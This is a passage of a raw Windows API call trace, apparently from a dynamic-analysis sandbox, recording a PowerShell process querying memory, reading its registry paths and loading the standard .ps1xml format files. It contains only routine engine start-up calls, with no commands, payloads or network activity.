Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.908] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.909] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.909] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.911] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.912] VirtualQuery (in: lpAddress=0x24c3a0, lpBuffer=0x24d260, dwLength=0x30 | out: lpBuffer=0x24d260*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.912] VirtualQuery (in: lpAddress=0x24c3a0, lpBuffer=0x24d260, dwLength=0x30 | out: lpBuffer=0x24d260*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.913] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.914] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.954] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.954] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.954] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.956] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.956] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.957] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.962] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.962] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.962] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.962] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.963] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.963] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.964] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.965] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.966] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d848 | out: phkResult=0x24d848*=0x330) returned 0x0 [0042.966] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x24d85c, lpData=0x0, lpcbData=0x24d858*=0x0 | out: lpType=0x24d85c*=0x1, lpData=0x0, lpcbData=0x24d858*=0x74) returned 0x0 [0042.966] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x24d7cc, lpData=0x0, lpcbData=0x24d7c8*=0x0 | out: lpType=0x24d7cc*=0x1, lpData=0x0, lpcbData=0x24d7c8*=0x74) returned 0x0 [0042.966] CoTaskMemAlloc (cb=0x78) returned 0x36cde0 [0042.966] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x24d79c, lpData=0x36cde0, lpcbData=0x24d798*=0x74 | out: lpType=0x24d79c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x24d798*=0x74) returned 0x0 [0042.966] SetErrorMode (uMode=0x1) returned 0x1 [0042.966] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0042.966] SetErrorMode (uMode=0x1) returned 0x1 [0042.967] SetErrorMode (uMode=0x1) returned 0x1 [0042.967] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0042.968] SetErrorMode (uMode=0x1) returned 0x1 [0042.968] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0042.968] SetErrorMode (uMode=0x1) returned 0x1 [0042.968] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0042.969] SetErrorMode (uMode=0x1) returned 0x1 [0042.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0042.969] SetErrorMode (uMode=0x1) returned 0x1 [0042.969] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0042.970] SetErrorMode (uMode=0x1) returned 0x1 [0042.970] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0042.970] SetErrorMode (uMode=0x1) returned 0x1 [0042.970] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0042.970] SetErrorMode (uMode=0x1) returned 0x1 [0042.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0042.971] SetErrorMode (uMode=0x1) returned 0x1 [0042.971] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0042.971] SetErrorMode (uMode=0x1) returned 0x1 [0042.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0042.971] SetErrorMode (uMode=0x1) returned 0x1 [0042.971] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0042.971] SetErrorMode (uMode=0x1) returned 0x1 [0042.972] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0042.972] SetErrorMode (uMode=0x1) returned 0x1 [0042.972] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0042.972] SetErrorMode (uMode=0x1) returned 0x1 [0042.972] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0042.972] SetErrorMode (uMode=0x1) returned 0x1 [0042.972] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0042.972] SetErrorMode (uMode=0x1) returned 0x1 [0042.972] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0042.973] SetErrorMode (uMode=0x1) returned 0x1 [0042.973] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d720 | out: lpFileInformation=0x24d720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0042.973] SetErrorMode (uMode=0x1) returned 0x1 [0042.974] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.974] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.974] CoTaskMemFree (pv=0x3d6c00) [0042.979] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.979] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.979] CoTaskMemFree (pv=0x3d6c00) [0042.980] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.980] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.980] CoTaskMemFree (pv=0x3d6c00) [0042.981] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.981] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.981] CoTaskMemFree (pv=0x3d6c00) [0042.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0042.982] SetErrorMode (uMode=0x1) returned 0x1 [0042.982] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0042.982] GetFileType (hFile=0x308) returned 0x1 [0042.982] SetErrorMode (uMode=0x1) returned 0x1 [0042.982] GetFileType (hFile=0x308) returned 0x1 [0042.982] ReadFile (in: hFile=0x308, lpBuffer=0x33b57c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b57c0*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0042.986] ReadFile (in: hFile=0x308, lpBuffer=0x33b57c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b57c0*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0042.986] ReadFile (in: hFile=0x308, lpBuffer=0x33b57c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b57c0*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0042.986] ReadFile (in: hFile=0x308, lpBuffer=0x33b57c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b57c0*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0042.987] ReadFile (in: hFile=0x308, lpBuffer=0x33b57c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b57c0*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0042.987] ReadFile (in: hFile=0x308, lpBuffer=0x33b57c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b57c0*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0042.987] ReadFile (in: hFile=0x308, lpBuffer=0x33b57c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b57c0*, lpNumberOfBytesRead=0x24d3b8*=0x9e2, lpOverlapped=0x0) returned 1 [0042.987] ReadFile (in: hFile=0x308, lpBuffer=0x33b4d0a, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b4d0a*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0042.987] ReadFile (in: hFile=0x308, lpBuffer=0x33b57c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33b57c0*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0042.987] CloseHandle (hObject=0x308) returned 1 [0042.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0042.988] SetErrorMode (uMode=0x1) returned 0x1 [0042.988] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0042.988] SetErrorMode (uMode=0x1) returned 0x1 [0042.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0042.988] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0042.988] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0042.988] CoTaskMemAlloc (cb=0x5a) returned 0x35d030 [0042.988] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x35d030, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0042.988] CoTaskMemFree (pv=0x35d030) [0042.988] RegCloseKey (hKey=0x308) returned 0x0 [0042.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0042.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0043.004] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xe65ab404, Data2=0x8be1, Data3=0x450e, Data4=([0]=0x8f, [1]=0x88, [2]=0xde, [3]=0xa2, [4]=0x42, [5]=0xc1, [6]=0x52, [7]=0x23))) returned 0x0 [0043.019] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xb5ffbfab, Data2=0x9c77, Data3=0x40ea, Data4=([0]=0xb8, [1]=0x2f, [2]=0x5c, [3]=0xe3, [4]=0xa4, [5]=0x7b, [6]=0xfe, [7]=0x43))) returned 0x0 [0043.021] SetErrorMode (uMode=0x1) returned 0x1 [0043.021] SetErrorMode (uMode=0x1) returned 0x1 [0043.021] GetFileType (hFile=0x308) returned 0x1 [0043.021] ReadFile (in: hFile=0x308, lpBuffer=0x33e0328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33e0328*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.023] ReadFile (in: hFile=0x308, lpBuffer=0x33e0328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33e0328*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.023] ReadFile (in: hFile=0x308, lpBuffer=0x33e0328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33e0328*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.023] ReadFile (in: hFile=0x308, lpBuffer=0x33e0328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33e0328*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.024] ReadFile (in: hFile=0x308, lpBuffer=0x33e0328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33e0328*, 